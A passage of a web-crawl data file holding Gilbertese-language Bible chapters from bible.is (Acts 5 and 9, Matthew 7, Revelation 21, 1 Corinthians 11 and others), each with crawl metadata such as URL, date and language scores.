kaangai: \"E a manga okira mumutana te kamea\" ao \"Te beeki ae e a tia n tebokaki, e a manga okira rabinobinona i nanon te bokaboka.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/2","date":"2016-09-28T21:23:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661767.35\/warc\/CC-MAIN-20160924173741-00207-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":856,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I nanon taai naba akekei, ao e nanakonako Tauro n tataekina kani kamateaia ana reirei te UEA. E nako ni kawara aia mataniwi ibonga, 2ao e butiia reeta i bukina b'a e na uoti nako Tamateko, nakoni m'aneabaia nako I-Iutaia, b'a ngkana tao e kuneia tabem'aang aika taua te Aro, aika mm'aane ma aine, ao e na tauia ni kabaeia, ao e na kairiia nako Ierutarem. 3E a waaki ngkanne Tauro i aoni kawaina nako Tamateko; ma ngke e a kaan ma te kaawa, ao e rina n oota rarikina nako n te oota mai karawa. 4E b'aka Tauro i aontano, ao e ongo te b'ana ae kaangai nakoina, \"Tauro, Tauro, ko aera ngkai ko b'ainikirinai?\" 5E kaeka Tauro ao e taku, \"Te UEA, antai Ngkoe?\" Ao E taku te UEA, \"Bon Iesu Ngai ae ko b'ainikirinai,\" 6\"Ma ko na teirake, ao naako rin n te kaawa, ao ane ko na tuangaki iai te baere riai b'a ko na karaoia.\" 7Ao a tei n aki karongoa uake raon Tauro ni m'ananga; a ongo te b'ana, ma akea te aomata ae a noria; 8Ao e teirake Tauro mai aontano; ma ngke e kaure matana, ao akea te b'ai teuana ae e noria; ao a tautaua baina ni kairiia nako Tamateko. 9Tenibong ana bong Tauro n aki noraba, ma n aki am'arake, ao n aki moi naba. 10E mena i Tamateko te reirei temanna ae arana Anania; ao E taku te UEA nakoina n te baere e noria kanga n te mii, \"Anania!\" Ao ngaia e kaangai, \"Te UEA, noria, aio ngai!\" 11Ao E taku te UEA nakoina, \"Tei rake, ao naako n te kawai are aranaki b'a Eti, ao ukoukora iai te aomata ae arana Tauro ae te I-Tareto, n ana auti Iuta: b'a noria, e tataro, 12ao e nora te aomata, i nanoni kanga te mii, ae arana Anania b'a e roko ni kawaria, ao e katokaa baina i aona, b'a e aonga n noraba.\" 13Ao e kaeka Anania ni kaangai, \"Te UEA, I ongo taekan teuaei irouia aomata aika bati, b'a e karaoi m'akuri aika bubuaka aika bati nakoia am aomata ake a itiaki ake i Ierutarem; 14ao e a tia n anganaki te m'aaka mairouia ibonga ake mataniwi, b'a e na kabaeia aomata ni kabaneia akana taromauria aram.\" 15Ma E taku te UEA nakoina, \"Ko na nako, b'a I a tia n rinea teuarei b'a e na m'akuri i buku: b'a e na tataekina arau ni kaotiotai nakoia aomata aika tuai n onimakina te Atua, ao nakoia uea ma te botannaomata ae Iteraera. 16Ao N na kaoti nakoina baika bati aika e riai ni karawaawataaki iai i bukin arau.\" 17Ao e nako Anania n rin n te auti arei, ao e katokaa baina i aon teuarei, ao e kaangai, \"Tauro ae tariu, E kanakomaiai te UEA are Iesu, are kaoti nako im i nanon te kawai, ngke ko nako mai, b'a ko aonga ni manga noraba, ao ni kaonaki n te Tamnei are Raoiroi.\" 18Ao n te tai naba arei ao a b'aka mai matan Tauro baika kanga ai aron inan te ika, ao e a manga noraba; ao e teirake, ao e b'abetitoaki; 19ao e a manga oki marurungina ngke e a tia n am'arake. Ao e tiku Tauro i Tamateko i rarikiia reirei tabeua te bong. 20E nako ni m'aneaba nako ao e tataekina Iesu b'a Natin te Atua Ngaia. 21A bane ni mimi ake a ongora i rouna, ao a taku, \"Tiaki teuare tiringiia aomata teuaei ake a taromauria te ara aei i Ierutarem? Ao tiaki naba e roko ikai b'a e na kabaeia aomata ake ai aroia naba aomata akekei, ni kairiia nakoia aia mataniwi ibonga?\" 22Ao e riki ni korakora riki aron Tauro ni kab'arab'ara; ao e kaminoi aia iango I-Iutaia ake a maeka i Tamateko n ana koaua ake e taekin i bukin Iesu b'a bon te Kristo Ngaia. 23Ao i mwini boong aika bati, ao a kabowiia taekani kamatean Tauro I-Iutaia, 24ma e kuneaki aia iango ni kan tiritiri iroun Tauro. A taratarai mataroa nako ake mataroa n rin n te nono, n te ngaina ao n te bong, b'a a na kamatea. 25Ma n te tairiki teuana, ao e anaaki Tauro irouia ana reirei ao a nnaia rikaaki n te b'aene man te tabo are a mena iai ri nanon te b'angab'anga n te nono. 26Ngke e roko Tauro i Ierutarem, ao e kan riki b'a raoia reirei ikekei. Ma a bane ni makua, b'a a aki kakoaua ae e a tia n riki b'a te reirei temanna. 27Ma e nakoina B'arenaba, ao e kairiia nakoia taan tuatua, ao Tauro e tuangiia arona ngke e nora te UEA are taetae nakoina i nanon te kawai, ao ngke e reirei n aki mamaku n aran Iesu i Tamateko. 28Ao e memena irouia uakekei n akea tukana ngkana e kan nako n te tabo teuana are e tangiria i aon Ierutarem. 29E aki toki n taetae ma ni kauntaeka ma I-Iutaia ake a b'aina te taetae n Erene; ao a kataia ni kani kamatea. 30Ngke e a ataaki aroia I-Iutaia akekei irouia taari i Ierutarem, ao a kaira rio Tauro nako Kaitareia, ao ni manga kanakoa nako Tareto. 31E wene n rau ngkanne te ekaretia i aon Iutaia ni kabuta, ma Kariraia, ma Taamaria, ao e kateimatoaki; a kaotia ni maiuia kaaina b'a iai karinean te Atua i rouia, ao e rikirake m'aitini kaaina n ana buobuoki te Tamnei are Raoiroi. 32I nanon ana tai ni m'am'ananga Betero ni kawari taabo nako, ao e reke naba ana tai ni wairio nakoia ake a itiaki ake a maeka i Rura. 33E kaitibo iai ma te aomata ae arana Ainea, ae wewene i aoni nena ni wene i nanoni wanua te ririki, b'a a mate b'ain rab'atana. 34E taku Betero nakoina, \"Ainea, E kamaiuko Iesu Kristo; teirake, ao bairea nem ni wene.\" Ao e a teirake naba ngkekei Ainea. 35A bane n nora teuare kamaiuaki aomata ake a maeka i Rura ao i Tiaron, ao a riki b'a taan onimakina te UEA. 36E mena i Iobe te aomata temanna ae te tia onimaki, ae arana Nei Tabita. (ke Nei Toreka n te Taetae n Erene). E aki toki neiei ni kakaraoi m'akuri aika raraoi, ao n i buobuokia aika kananoanga. 37N taai akanne ao e aoraki Nei Tabita, ao e mate; ao ngke a tia ana koraki n tebokia, ao a kawenea n te ru i eta. 38E aki rangi n raroa Iobe ma Rura; ma ngaia are ngke a ongo reirei ake i Iobe b'a e mena Betero i Rura, ao a kanakoia ngkanne uomani mm'aane ma aia rongorongo nakoina, \"Taiaoka kawaekoako ni kawariira.\" 39Ao e teirake Betero, ao e airi ma ngaiia. Ngke e roko, ao a kairiia nakon te ru are i eta; a tei n tang aine ake a mate buia i rarikini Betero, ao a kaoti kabaraki ma kooti ake e karaoi Nei Toreka i nanon ana tai ni maiu. 40E kabaneia ni kaotinakoia Betero, ao e katorobubua n tataro; e rairaki ngkanne ni kaitaraa rab'atan Nei Toreka, ao e kaangai, \"Nei Tabita, teirake!\" E kaure matana Nei Toreka; ao ngke e nora Betero, ao e tekateka. 41E anga baina Betero nakoina, ao e kateirakea; e weteia ngkanne ake a itiaki ma aine ake a mate buia, ao e anganiia neierei b'a e a maiu. 42E buta nako taekan te baei i aon Iobe, ao a onimakina te UEA aomata aika bati. 43E tiku Betero i Iobe i nanoni boong aika bati, iroun Timon temanna, ae te tia karaoi b'aai mani kunin te man.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/9","date":"2016-09-27T07:53:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660992.15\/warc\/CC-MAIN-20160924173740-00082-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":1266,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora karawa ae boou ma aonnaba ae boou; b'a e a tia ni mauna te moa ni karawa ma te moa n aonnaba, ao ai aron naba marawa. 2Ao I nora te kaawa are tabu, are Ierutarem ae boou, b'a e ruo mai karawa mairoun te Atua, ao e katauraoaki n ai aron te aine ae katamaroaaki i bukin teuare e na mare ma ngaia. 3Ao I ongo te b'ana man te kaintokanuea b'a e kaangai, \"Noria, e mena ana um'anrianna te Atua irouia aomata! E na maeka i rouia, ao a na riki b'a ana botannaomata; ao te Atua E na memena i rouia. 4E na kabane rannimataia te Atua ni kaoi mai mataia; ao akea te mate ae na riki, ao e na akea naba te nanokawaki, ma te tang, ma te maraki: b'a a mauna nako b'aai nikawai.\" 5Ao E kaangai Teuare tekateka i aon te kaintokanuea, \"Noria, I a karaoi b'aai ni kabane b'a b'aai aika boou. Ao E kaangai naba, Ko na koroi baika I a tia n taekin; b'a a koaua taeka aikai ao a onimakinaki.\" 6Ao E taku nako iu, \"A bane n tia. Boni Ngai te Moa ao te Toki; boni moani b'aai Ngai ao tokiia naba Ngai. N na angan ane kani moi nimana mani koburaken te ran, are te ran ni maiu, ae akea boona. 7Ane tokanikai ao e na b'aib'ai ni baikai; ao N na riki b'a Atuana, ao ngaia e na riki b'a natiu. 8Ma te koraki akana kimamaaku, ma akana aki onimaki, ma akana riai ni bati n ribaki, ma taani kamateia aomata, ma taani wene ni bure, ma taan tabunea, ma taan taromauri bouananti, ma taani kewekewe, a na reke tib'angaia n te nama are e ura iai te ai ma te burimton, are te mate are te kauoua.\" 9Ao e roko te anera temanna mai buakoia anera ake itiman, ake iai i rouia boora ake itiua, ake a on ni b'aai ni kamamate ake itiua; ao e taetae nako iu, ni kaangai, \"Mai ikai, N na kaota te aine are nangi mareaki, are na riki b'a bun te Tiibuteteei.\" 10Ao e kairai nakon te maunga ae ab'ab'aki ae rietaata, ngke I mena i aani m'aakan ana kairiri te Tamnei; ao e kaota te kaawa are tabu are Ierutarem nako iu ngke e tabe n ruo mai karawa mairoun te Atua, ao e raneanea n raneanean te oota are nako mairoun te Atua; 11ao raneaneana ai aron raneanean te atibu ae rangi ni kakawaki; kaanga ai aron te atibu are te iatebi, ae tara ni kiraati n ai aron te kirutitaro. 12Ao iai nonona ae ab'ab'aki ae rietaata, ma mataroana aika tebwi ma uoua, ma anera aika tengauni ma uoman aika toa ni mataroa n tantani i rarikiia; ao a toa naba mataroa aikai ma tatabeua aara aika koreaki i aoia, aika araia baronga ake tengauni ma ua baronga ake tibun Iteraera. 13Tenua te mataroa n iteran te nono are mai mainiku, ao tenua n iterana are mai meaang, tenua mai maiaki, ao tenua mai maeao. 14E kateaki te nono aei i aon aana aika tebwi ma uoua, aika koreaki i aoia aara aika tebwi ma uoua aika araia taan tuatua ake tengauni ma uoman, ake ana tia tuatua te Tiibuteteei. 15Ao te anera are taetae ma ngai iai ana kai ni baire ae te koora, are e na bairea iai te kaawa, ma mataroana nako, ma nonona. 16E tikuea te kaawa, b'a ti te bo ab'akina ma rababana. E anaa ab'akin te kaawa ma rababana n ana kai ni baire, ao e anaa naba rietana: teuana tengaa ao nimabubua te maire ab'akina, ae ti te bo ma rababana ao rietana. 17E anaa naba bairen nonona, b'a tebubua ma abwi ma aua te m'anokunibai, n te b'ai ni baire are kakabonganaki irouia aomata. 18E karaoaki nonona n te iatebi, ao te kaawa n te koora, ae ai aron te kiraati ae itiaki. 19A katamaroaaki aan nonon te kaawa arei n atibu nako aika kakawaki: moan aana n te iatebi, ao aana are te kauoua n te tabeiro, ao are te katenua n te kareketona, ao are te kaaua n te timaraketo; 20e katamaroaaki are te kanimaua n te taretonuka, ao are te kaonoua n te tarerio, ao are te kaitiua n te kerutorito; are te kawanua n te beruro, ao are te karuaiwa n te tobati; are te katebwina n te kurutoberato, ao are te katebwi ma teuana n te uakinto; ao are te katebwi ma uoua n te ametuteto. 21Ao mataroana ake tebwi ma uoua boni moomi aika tebwi ma uoua; a karaoaki n tatabeua nako mani moomi aika kaka ti teuana; ao kawain te kaawa bon te koora ae itiaki, ae kanga ai aron te kiraati ae itiaki. 22Akea te Tembora teuana ae I noria n te kaawa; b'a te Tembora iai bon te Uea are te Atua are Moan te M'aka, ma te Tiibuteteei. 23E aki kainanoa taai ke nam'akaina te kaawa arei i bukin ootana; b'a ootana boni mimitongin te Atua, ao taurana bon te Tiibuteteei. 24Ane a na nakonako botannaomata n ootana, ao uea i aonnaba a na uoti kaub'aia nako nanona. 25A na bon aki kainaki mataroana n te ngaina, b'a akea te bong ikekei. 26Ao a na uoti kaub'aia aomata nako ma aia b'ai aika rangi ni kakawaki nako nanon te kaawa. 27Ao e na bon aki kona n rin i nanona te b'ai ae kam'ara, ke ane e karaoa ae riai ni bati n ribaki ma ni b'ab'aina te kewe; ma a na rin iai ti te koraki ake a tia ni m'akoro araia ni bokin te maiu are ana b'ai te Tiibuteteei.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/21","date":"2016-09-28T21:15:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661767.35\/warc\/CC-MAIN-20160924173741-00262-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":948,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Ma ti nora Iesu, are karaoaki ni karinanoaki riki nakoia anera i nanon te tai ae aki maan, b'a E aonga ni mate i bukiia aomata ni kabaneia; ao e riki aei man nanon te Atua n akoi. Ti noria ngkai b'a E a baunaki n te neboaki ma te karineaki i bukin arona ni maraki ma ni mate.\nEBERA 2:9\nFREE!\nOne App.\n1210 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/9","date":"2016-10-01T00:49:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662430.97\/warc\/CC-MAIN-20160924173742-00235-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":64,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tai motiki taekaia aomata ni kabuakakaia, b'a E kawa ni motikaki taekami ni kabuakakaki iroun te Atua. 2B'a te motikitaeka ni kabuakaka are kam kabongana i bukiia aomata, ao ane E na manga motiki taekami ni kabuakakaingkami iai te Atua; ao kawai ake kam kabonganai b'a b'aini bairean motikan taekani kabuakakaia, E na kabonganai te Atua b'a b'aini baireani motikan taekami ni kabuakakaki. 3E aera b'a ko nora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki nora te oka ane i nanoni matam? 4Ao ko kanga n rabakau ni kangai nakon tarim, N na kaki te maange ae uarereke mai matam, ngkai ko aki kona te nora te oka ane i nanoni matam? 5Te tia m'am'ana-te-aba, ko na kaki moa te oka ane i nanoni matam, ao ko a tib'a kona te nora raoi kanakoan te maange ae uarereke mai nanoni matan tarim. 6Tai angania kamea te b'ai ae katauaki i bukin te Atua, ane a na rairaki n un nako imi; ao tai tetewe nako ami atibu aika rangi ni kakawaki nako mataia beeki, b'a a kawa n toubekaki i aani waeia. 7Bubuti, ao ane kam na anganaki; ukeuke, ao ane kam na karereke; karebwerebwe, ao ane e na kaukaki nako imi. 8B'a ane bubuti ao e na anganaki, ao ane ukeuke ao e na karereke, ao e na kaukaki te mataroa nakon ane karebwerebwe. 9Antai te karo i buakomi, ngkana e butiaki te am'arake iroun natina, ao e anganna te atibu? 10Ao ngkana e butiaki te ika, ao e na anganna te naeta? 11Ngkai kam ata te anganiia natimi baika raraoi, ngkami aika kam buakaka, ao tiaki e m'aiti riki iroun Tamami are i karawa te kan anga baika raraoi nakoia akana butiia? 12Ma ngaia aei, b'a b'aai ni kabane aika kam tangiri b'a a na karaoaki nako imi irouia aomata, ao kam na karaoi naba nako ia: b'a aei te reirei ae kanoan tuua ake e anga Moote ma aia boki burabeti. 13Kam na rin n te mataroa are wariki: b'a e warebwe te mataroa, ao e raababa te kawai are nako n te mate, ao a m'aiti akana rin ni mataroana. 14B'a e wariki te mataroa, ao e irariki te kawai are nako n te maiu, ao a karako akana kunea te kawai anne. 15Kam na kawakiningkami mairouia burabeti ni kewe, akana nako imi ni bakaaea te nimamannei kaanga ai aroia tiibu, ma bon aroia kameanti aika tiritiri ni koaua uakekei. 16Ane kam na kinaia n uaaia. A anaki kureebe man akanta? Ao biiku mani kaai aika kateketeke? 17Ma ngaia ae kaai ni kabane aika maiu raoi, a kariki uaaia aika raraoi; ma kaai aika aki maiu raoi, a kariki uaaia aika bubuaka. 18E aki kona ni karika te uaa ae buakaka te kai ae maiu raoi, ao e aki kona ni karika te uaa ae raoiroi te kai ae aki maiu raoi. 19Kaai nako aika aki kariki uaa aika raraoi, a koreaki ao a teweaki nako n te ai. 20Ma ngaia aei, ane kam na kinaia uakekei n uaaia. 21A aki bane n rin n Uean te Atua akana aki toki n atoatongai b'a te Uea Ngai, ma e na rin iai ane karaoa nanon Tamau are i karawa. 22Ane a na kangai nako Iu aomata aika bati n te bong are E na motiki taekaia iai aomata te Atua, Te Uea, te Uea, tiaki ti taetae ni burabeti n aram? Ao tiaki ti kanakoia taimonio n aram? Ao tiaki ti karaoi m'akuri aika kamimii n aram? 23Ao Ngai N na kangai nako ia, Bon te akea reitakiu ma ngkami; naako mai Rou, ngkami aika kam tuai mani karaoa nanon te Atua. 24Ma ngaia aei, b'a ane ongo au taeka aikai ao e iri nanoia, ao ai aron te aomata ae wanawana, are katea ana auti i aon te b'a. 25ao e b'aka te karau, ao e roko te raanga, ao e kare te ang ae baibati n neakina te auti arei, ma e aki b'aka, i bukina b'a e kateaki i aon te b'a. 26Ao ane ongo au taeka aikai n aki iri nanoia, ao ai aron te aomata ae baba, are katea ana auti i aon te tabo ae maraurau: 27ao e b'aka te karau, ao e roko te raanga, ao e kare te ang ae baibati n neakina te auti arei, ao e b'aka; ao e uruaki rab'atana ni kabanea. 28Ngke E a tia n atong taeka aikai Iesu, ao a mimii aomata n arona n reirei. 29E reireiia n ai aron ae m'aaka ao tiaki n ai aroia aia taani koroboki.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/7","date":"2016-09-28T05:49:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661311.64\/warc\/CC-MAIN-20160924173741-00263-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":766,"character_repetition_ratio":0.052,"word_repetition_ratio":0.034,"special_characters_ratio":0.246,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai te aomata temanna ae arana Anania, ao raona Tabeire are buna; e kabo nako aia b'ai tabeua Anania: 2ao mani booia are reke, e taua teutana mai iai Anania, ao buna e ataia naba, ao e uota nikirana nakoia taan tuatua b'a a na kawakinna. 3E taku Betero nakoina, \"Anania, e aera ngkai e anaaki nanom iroun Tatan b'a ko na kewe nakon te Tamnei are Raoiroi, ao b'a ko na taua teutana man te m'ane are boon te aba? 4Ngke e tuai ni kaboaki, tiaki bon abam? Ao ngke e a tia ni kaboaki, ao tiaki b'a bon am b'ai m'anena? E aera ngkanne ngkai ko karekea i nanom b'a ko na karaoa aei? ko aki kewe nakoia aomata, ma ko kewe nakon te Atua!\" 5Ngke e ongo taeka aikai Anania, ao e b'aka b'a e mate; ao a taonaki n te maku ae korakora aomata ake a ongo taekan te baei. 6A roko ngkanne rorobuaka n nira rab'atan Anania, ao a uotia nako n taunna. 7Tao tenua te aoa i mwina, ao e rin bun Anania, ma e aki ata te baere e a tia n riki. 8E taku Betero nakoina, \"Ko na tuangai b'a ngaia aei te m'aiti ae kam karekea b'a boon abami?\" Ao e kaangai neierei nakoina, \"Eng, m'aitina anne.\" 9E taku ngkanne Betero nakoina, \"E aera ngkai e bo nanom ma buum b'a kam na kataa Tamnein te UEA? Noria, a tei ngkai i matan te mataroa rorobuaka ake a tia n tauna buum, ao ane a na manga uotiko nako naba!\" 10Ao e mate neierei n te tai naba arei, ao e b'aka i rarikini waeni Betero; a rin rorobuaka akekei, ao a noria b'a e a mate; ma ngaia are a uotia nako n taunna i rarikini buna. 11Ao a taonaki n te maku kaain te ekaretia ni kabaneia, ni botaki ma aomata nako ake a ongo taekani baikekei. 12A karaoaki kanikina ma m'akuri ni kamimii aika bati i buakoia aomata irouia taan tuatua; ao a bane aomata ni mena n ana kaman Toromon ma te nano ae ti teuana. 13Akea temanna irouia ake nikiraia ae e kan iri buakoia; ma a bati taekaia ni kamoamoaki mairouia aomata. 14A kabatiaki riki m'aitiia ake a onimakina te UEA, irouia mm'aane ma aine aika rangi ni bati. 15I mwini baike a tia ni karaoi taan tuatua, ao a uoti aia aoraki aomata nako nanoni kawai nako, ao a kaweneia i aoni kainiwene ma kie ni matu, ma te kaantaninga b'a ngkana e rikekei Betero ao e na kona nuuna n rabuniia tem'angina i buakoia. 16A roko naba aomata aika rangi ni bati mani kaawa ake i rarikin Ierutarem, ao a uotiia aoraki, ma aomata aika taniaki irouia anti aika bubuaka; ao a bane ni kamaiuaki. 17E rangi ni bakantang aia mataniwi ibonga ma raona ni kabaneia, aika kaain te botaki n Tarukaio; 18a tauia taan tuatua, ao a kaakiia n te karabuuti. 19Ma ngke e a bong, ao e kauki mataroan nako te karabuuti ana anera te UEA, ao e kaotinakoia, ao e taku nakoia, 20\"Kam na nako n tei i nanon te Tembora, ao tuangiia aomata taekan te Maiu aei ni kabane.\" 21Ao ngke a tia n ongo aei, ao a rin n te Tembora, ngke e a tib'a moa n ingabong, ao a reirei iai. Ao e roko aia mataniwi ibonga ma raona nako, ao a weteia aia unimm'aane tibun Iteraera i bukini karaoan aia kabowi are te Tanirim, ao a kanaanako nakon te karabuuti b'a a na kairaki taan tuatua nakoia. 22Ma ngke a roko bureitimanin te Tembora n te karabuuti, ao a aki nooriia uakekei iai; ma ngaia are ngke a oki, ao a tuangiia ni kaangai, 23\"Ti nora te karabuuti b'a e kainaki raoi, ao taan tantani b'a a tei ni mataroana nako; ma ngke ti kauki, ao akea temanna i nanona ae ti noria!\" 24Ngke e ongo taeka akekei aia mataniwi bureitimanin te Tembora, ma ibonga ake mataniwi, ao a nanokokoraki iai, b'a e na kanga n riki te baerei. 25Ao e roko temanna, ao e tuangiia, ni kaangai, \"Noria! Aomata ake kam kaakiia i nanon te karabuuti a tei i nanon te Tembora n reireiia aomata!\" 26E nako ngkanne aia mataniwi bureitimanin te Tembora ma raona ake bureitiman naba, ao a kairiia taan tuatua n aki tauia ma te matoa, b'a a makuia aomata, b'a a kaawa ni karebanaki. 27Ao ngke a roko, ao a kateia i matan te Tanirim. Ao e kaekaia aia mataniwi ibonga ni kaangai, 28\"Ti anganingkami ngkoa ara taeka ae matoatoa b'a kam na aki reirei n te ara ae Iesu. Ao noria! kam kaona Ierutarem n ami reirei, ao kam tangirira b'a ti na bukinaki ni matena.\" 29Ao a kaeka Betero ma taan tuatua ni kaangai, E riai riki iran nanon te Atua nakon iran nanoia aomata. 30E kamaiua Iesu Atuaia ara bakatibu man te mate; boni Ngaia are kam tiringnga n tauria i aon te kaibangaki. 31E neboia te Atua ni kaaki i rarikina b'a te Mataniwi Ngaia ao te Tia Kamaiu: b'a E aonga n reke nakoia Iteraera aia tai n rairi nanoia ao ni kab'araki aia bure. 32Ao bon taan tataekini baikai ngaira, n ai aron naba te Tamnei are Raoiroi, are E a tia n anga te Atua nakoia ake a ira nanona. 33Ao ngke a ongo arei, ao a rangi ni maraki nanoia, ao a iangoa aroni kamateaia. 34Ma e teirake te B'aritaio temanna ae kaain te Tanirim, ae arana Kamariera, ae te tia reirei taekan te tua, ae karineaki irouia aomata ni kabaneia, ao e tua b'a a na kaotinakoaki taan tuatua, ao a na tiku i tinaniku n te tai ae aki maan. 35Ao e taku nakoia, Mm'aane aika Iteraera, kam na tarataraingkami n are kam nang karaoia nakoia aomata aikai. 36B'a e teirake Teuta ngkoa, ni kaotia b'a te tia kairiri ngaia ae kakannato, ao a riki b'a raona, aomata aika tao abubua m'aitiia; e kamateaki Teuta, ao a bane ni kamaaeaki nako raona, ao e mauna matan aia botaki. 37I mwin Teuta ao e teirake Iuta are te I-Kariraia n taini warekaia aomata ma aia b'ai nako, ao e anai nanoia aomata tem'angina b'a a na riki b'a raona; e mate naba teuaei, ao a bane ni kamaaeaki nako raona. 38Ma ngaia ae i bukin te bae riki aei, ao I taku nakoimi b'a kam na aki kumeia aomata aikai, ma katikuia i bon i rouia; b'a ngkana mairoun te aomata te waaki ae a tabe iai ma te m'akuri ae a karaoia, ao ane e na mauna nako, 39ma ngkana mairoun te Atua, ao kam bon aki kona n urua aia botaki. Tai kumeia b'a kam kaawa n noraki iai b'a kam buakana te Atua. Ao a ira nanon ana taeka Kamariera. 40Ao a weteia taan tuatua, ao a kataereia; ao a kanakoia ngke a tia n tuangiia b'a a na aki reirei n aran Iesu. 41Ma ngaia are, a nako man te Tanirim ma te kim'areirei, b'a a kona n atongaki b'a a tau ni kamaamaaeaki i bukin te ara ae Iesu. 42Ao a aki toki n reirei n te bong ae koraki, ma n atoatonga Iesu b'a te Kristo n te Tembora, ao n te auti teuana ma teuana.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/5","date":"2016-10-01T08:05:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662541.24\/warc\/CC-MAIN-20160924173742-00078-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1211,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kakairi i rou, n arou ngkai I kakairi iroun Iesu. 2I kamoamoaingkami, ngkai kam ururing baike I karaoi ao I reireiningkami iai, ao ngkai kam iri nanon taeka n reirei ake I a tia n anganingkami. 3Ma I tangiringkami b'a kam na ataia b'a atun te mm'aane boni Kristo, ao atun te aine bon te mm'aane, ao atuuni Kristo bon te Atua. 4Te mm'aane ae tataro ke ae taetae ni burabeti, n rabuna atuna, ao e kamatauningaa atuna. 5Ao te aine ae tataro ke ae taetae ni burabeti, n aki rabuna atuna, ao e kamatauningaa atuna; bon akea okorona ma te aine are e a tia ni korobuatauaki. 6B'a ngkana e aki rabunaki atun te aine, ao ke e koreaki irana; ma ngkana te b'ai ni kamamaa nakon te aine korean irana ma korobuatauana, ao ke e rabunaki atuna. 7B'a e bon aki riai n rabunaki atun te mm'aane, ngkai katotongan ao mimitongin te Atua; ma te aine boni mimitongin te mm'aane. 8B'a e aki riki te mm'aane mairoun te aine, ma e riki te aine mairoun te mm'aane; 9ao e aki karikaki te mm'aane i bukin te aine, ma e karikaki te aine i bukin te mm'aane. 10I bukin aei, ao i bukiia naba anera, ao e riai iroun te aine b'a e na memena kanikinaean tauan arona i aon atuna. 11E boni ngae n anne, ma n te maiu n i raorao i nanon te Uea, ao e bon riai iroun te mm'aane b'a e na iai te aine i rarikina, ao iroun te aine b'a e na iai te mm'aane i rarikina. 12B'a ngkae e riki te aine mairoun te mm'aane, ao ai aron naba te mm'aane: e riki mairoun te aine, ma n te aro ni bungiaki; ao a bane b'aai n riki mairoun te Atua. 13Kam na karekei ami baire i bon i roumi: e tau te aine n tataro nakon te Atua, n aki rabunaki atuna? 14A aki reireiningkami aroni b'aai aika karikaki, b'a e aki toronaomata te mm'aane ngkana e ananau iran atuna? 15ma ngkana e ananau irannatun te aine, ao boni b'aini kamoamoakina; b'a e anganaki iran atuna b'a b'ain rabunan atuna. 16Ma ngkana iai ane kani kauntaeka taekan te baei, ao akea riki ae I kona n taekinna, b'a ti aei: b'a akea riki te katei teuana ae ti ataia ke a ataia ana ekaretia nako te Atua. 17Man au taeka aikai, ao bon akea iai kamoamoakimi i rou, i bukina b'a aromi ni bobotaki e a kariki riki baika bubuaka nako imi nakoni baika raraoi. 18B'a aio moa, ngkana kam botaki n ekaretia. ao I ongo b'a e bwenaua ami botaki nakoni koraki n i-kakaiwi aika kakaokoro; ao I kakoaua te rongorongo anne teutana. 19B'a a bon riai n iai taiani bwenaua n ami botaki, b'a a aonga ni kinaki iai te koraki aika bon taan onimaki ni koaua i buakomi. 20Ma ngaia aei, ngkana kam 